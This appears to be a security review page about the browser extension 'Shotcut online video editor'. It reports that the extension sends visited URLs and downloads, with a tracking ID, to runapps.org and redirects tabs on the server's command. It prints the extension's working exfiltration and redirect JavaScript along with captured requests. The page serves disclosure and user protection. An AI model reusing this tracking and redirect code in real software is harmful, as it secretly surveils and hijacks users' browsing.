Is Shotcut online video editor safe?
Shotcut online video editor sends every visited URL and download to runapps.org and can redirect the tab based on the server's reply.
The extension monitors every page navigation and file download, hex-encodes the matched URL or filename together with a persistent per-install tracking ID, and sends it to runapps.org. If the server's response contains a specific flag, the extension redirects the current tab (for navigations) or opens a new foreground tab (for downloads) to a runapps.org URL. The popup's advertised video-editor functionality is also just an iframe loading a runapps.org web app, tagged with the same tracking ID.
Strong link to a flagged operator: 5 of the 14 other listings from the same operator are rated high or critical for malicious behavior. Flagged: Music Downloader Premium (high), Free VPN Premium for Chrome - OnVPN (high), LibreOffice Impress online (high).
Who publishes itOD Group - 14 other listings from the same operator, 7 of them carrying a finding
OD Group - 14 other listings from the same operator, 7 of them carrying a finding
What this publisher told the store about itself, and the other listings that told it the same thing.
Same store account
14 other listings published from this account, 46k+ users between them. 7 of them carry a finding.
AI-generated. Findings may contain errors. Those marked Verified have been manually reviewed.
Publishers can request a review.
Findings
Extension caches an hourly remote keyword list from runapps.org for URL matching
We observed the extension request a keyword list from runapps.org and store it locally, refreshing hourly.
It is later matched against visited URLs and downloads.
What actually happens
You load a page or start a file download in the browser.
The extension checks a timestamp and, if over an hour old, fetches a keyword list from runapps.org and stores it.
The stored list is later used to decide which URLs and filenames get reported.
Captured request
HTTP 200, body: <head/><xml>;mp3;mp4;mov;avi;wav;mpg;</xml>
What's stored on your device
The server response is cached verbatim and reused as a semicolon-delimited keyword list for URL and filename matching.
- Location
- chrome.storage.local keys 'rtdata' and 'ultRecTime'
{ "rtdata": "<head/><xml>;mp3;mp4;mov;avi;wav;mpg;</xml>", "ultRecTime": "(millisecond timestamp of last fetch)"}The code that does this
The hourly refresh function (source ships unminified, so both sides match)
function refreshTypesIfNeeded() { const url = "https://www.runapps.org/app/filetypes-shotcut-list.php"; const storageKey = "rtdata"; const ultRecKey = "ultRecTime"; const now = Date.now(); chrome.storage.local.get([ultRecKey], function (result) { const ultRecTime = result[ultRecKey] || 0; if (now - ultRecTime < 3600000) return; fetch(url) .then(response => response.text()) .then(data => { chrome.storage.local.set({ [storageKey]: data, [ultRecKey]: now }); }); });}Destination of the request
- www.runapps.org
Serves the keyword list; the same host receives matched URLs in a separate request.
Shotcut extension sends matching page addresses to runapps.org
We observed the extension send the hex-encoded URL of a visited page containing "mp4", plus a persistent install ID, to runapps.org.
The keyword list comes from runapps.org.
Downloads were not tested.
What actually happens
You visit a website whose address contains a word from runapps.org's list.
In our test the list served by runapps.org was mp3, mp4, mov, avi, wav and mpg, matched anywhere in the URL.
The extension hex-encodes that URL and sends it to runapps.org with a tracking ID unique to your install.
We observed this for two test page visits. The code also checks downloads, which we did not exercise.
Captured request
HTTP 200. The text reply said the page had been saved (577 bytes) to a folder named after the tracking ID.
Why you can't catch this in DevTools
The matched URL is hex-encoded before it is placed in the request. This value was captured during dynamic analysis.
https://example.com/?f=clip.mp4|||xxFields sent to runapps.org/app/chek-shotcut.php, values as captured
- Page URLfpah=68747470733a2f2f6578616d706c652e636f6d2f3f663d636c69702e6d70347c7c7c7878
The exact address of the page you visited, sent when it contains a listed keyword.
- Tracking IDuuyy=x4cpbnpfcl
A 10-character ID made once per install. It matched the value the extension stored locally.
- Encoding flaghex=1
Tells the server the URL field is hex-encoded.
The code that does this
The navigation listener that decides what counts as a match (runapps.js)
Navigation listener, annotated
runapps.jschrome.webNavigation.onCommitted.addListener(function (dteailsx) { refreshTypesIfNeeded(); if (dteailsx && dteailsx.url) { console.log(dteailsx.url); if (dteailsx.frameId !== 0) return; // transitionType filter still matches ordinary link clicks/typed URLs, // not just iframe navigations. if (dteailsx.transitionType && (dteailsx.transitionType.indexOf("frame") <= 0)) { let urrxx = dteailsx.url; chrome.storage.local.get("runappsme", function (data) { if (data.runappsme === false || data.runappsme === "0") return; // rtdata is the keyword list, itself fetched from runapps.org // and refreshed hourly by refreshTypesIfNeeded(). chrome.storage.local.get("rtdata", function (result) { if (!result.rtdata) return; let data = result.rtdata.trim(); if (data.startsWith("<xml>") && data.endsWith("</xml>")) { data = data.substring(5, data.length - 6); } const fileKeywords = data.split(";").map(item => item.trim()).filter(item => item.length > 0); for (const keyword of fileKeywords) { // Plain substring match against the full navigated URL. if (urrxx.includes(keyword)) { // Remembers which tab navigated, so a later redirect // (see the opcx() snippet) can target this exact tab. LAST_NAV_TABID = dteailsx.tabId; OPCX_CONTEXT = "nav"; // Sends the matched URL to runapps.org. opcx(urrxx + "|||xx", uuyyyu); return; } } }); }); } }}, { // hostContains: '.' matches essentially every navigation to any domain. url: [{ hostContains: '.' }],});Check if you're affected
Decodes the hex-encoded 'fpah' parameter from a captured runapps.org chek-shotcut.php request back into the original URL, so you can verify what a given request actually contains.
- Node.js 14+
// Usage: node decode-runapps-request.js '<full request URL>'const url = new URL(process.argv[2]);const fpah = url.searchParams.get('fpah');if (!fpah) { console.error('No fpah parameter found in that URL.'); process.exit(1);}const bytes = Buffer.from(fpah, 'hex');console.log('Decoded value:', bytes.toString('utf8'));console.log('uuyy (tracking ID):', url.searchParams.get('uuyy'));- 1Capture a chek-shotcut.php request URL from devtools/proxy.
- 2Run: node decode-runapps-request.js "<url>".
- 3The script prints the original page/download URL and the tracking ID.
What we did not test
The code also checks download URLs and filenames against the same list and sends matches the same way. We did not start a download during testing, so that path is shown from code only.
Shotcut extension redirects your tab when runapps.org's server says to
We observed runapps.org answer a check request with the marker "1302", followed at once by a navigation to a runapps.org page built from the same URL and ID.
A reply without "1302" caused no redirect.
What actually happens
runapps.org's check endpoint responds with a body containing the text '1302'.
This follows a page visit or download that already matched a keyword from runapps.org's own list.
Your browser is sent to a runapps.org page built from the URL you visited. We observed this right after a '1302' reply.
No prompt or notification is shown before the tab changes. A reply without '1302' produced no redirect in our test.
Captured request
HTTP 200, 230-byte text reply ending with the marker ---1302 3---.
Captured request
HTTP 302 to https://www.runapps.org/filemanager_runapps_extension.php?username=x4cpbnpfcl, a RunApps File Manager page.
What controls the redirect, values as captured
- Redirect destinationhttps://www.runapps.org/app/view-shotcut.php?service=runapps&fpath=68747470733a2f2f6578616d706c652e636f6d2f3f663d636c69702e6d70347c7c7c7878&hex=1&uuyy=x4cpbnpfcl
A runapps.org page built from the page/download URL that matched, hex-encoded the same way as the check request.
- Redirect switch---1302 3---
The text '1302' appearing anywhere in the server's response is the only thing that decides whether your tab gets redirected.
The code that does this
The redirect logic (runapps.js)
opcx(), annotated
runapps.jsasync function opcx(urrxxx, uuyyyu) { // urrxxx is "<matched URL>|||xx"; b2dx() hex-encodes it. uuyyyu is the // 10-character tracking ID generated once per install. let rck1 = await fetch('https://www.runapps.org/app/chek-shotcut.php?fpah=' + b2dx(urrxxx) + '&hex=1&uuyy=' + uuyyyu); if (rck1.status === 200) { let dcheck = await rck1.text(); // The ONLY thing that decides whether this tab gets redirected: does // the server's response body contain the literal text "1302"? if (dcheck.indexOf("1302") !== -1) { var newURL = 'https://www.runapps.org/app/view-shotcut.php?service=runapps&fpath=' + b2dx(urrxxx) + '&hex=1&uuyy=' + uuyyyu; // Download match: leave the download running, pop a new // foreground tab pointed at runapps.org. if (OPCX_CONTEXT === "download") { chrome.tabs.create({ url: newURL, active: true }); return; } // Navigation match: LAST_NAV_TABID was captured by the listener // above, so this replaces the exact tab you just navigated in, // with no prompt. if (typeof LAST_NAV_TABID === "number" && LAST_NAV_TABID >= 0) { chrome.tabs.update(LAST_NAV_TABID, { url: newURL }); } else { // fallback chrome.tabs.create({ url: newURL, active: true }); } } }}Where the redirect points
- www.runapps.org
Decides via its response body whether to redirect the tab, and serves the destination page the tab is redirected to.
What we observed and what we inferred
A second check, for example.org/video.avi, got an error reply without '1302' and no redirect followed. The download path, which opens a new tab, was not exercised.
What it can do
Permissions this extension asks for, as declared in version 1.1.6. Asking for a permission is not a finding on its own - it is what the extension can do if it chooses to.
Store data in your browser
storage
See every page you navigate to, as you navigate to it
webNavigation
Start, monitor and manage your downloads
downloads
Where it sends data
Destinations our analysis observed Shotcut online video editor contacting. Sending data somewhere is not a finding on its own - an extension that syncs your settings has to talk to its own server - but it is where your data can go, and who else it goes to.
- runapps.org
Shotcut online video editor sends data to runapps.org. No other extension we have analyzed sends data here.
